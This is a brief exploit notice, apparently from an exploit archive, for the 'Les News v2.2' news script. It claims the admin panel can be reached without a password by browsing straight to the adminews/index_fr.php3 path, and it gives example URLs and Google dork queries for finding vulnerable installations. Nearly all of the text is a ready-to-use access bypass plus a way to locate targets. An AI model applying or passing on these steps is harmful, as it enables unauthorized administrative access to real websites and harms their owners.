Les News v2.2 [Admin news without password]
* Les News v2.2 [Admin news without password]
* By : sn0oPy
* Risk : verry high
* site : http://stombi.free.fr/
* exploit :
add to the /lesnews/ rep adminews/index_fr.php3
exemple :
http://www.test.ma/lesnews/lesnews_fr.php3
http://www.test.ma/lesnews/adminews/index_fr.php3
Dork :
inurl:"/lesnews/lesnews_fr.php3"
inurl:"/lesnews/lesnews_en.php3"
inurl:"/lesnews/lesnews_de.php3"
inurl:"/lesnews/lesnews_it.php3"
* contact : sn0oPy@xxxxxxxxxxxxxxxxxxxxxxx
* greetz : [subzero], http://forums.avenir-geopolitique.net.
reference : http://forums.avenir-geopolitique.net/viewtopic.php?t=2622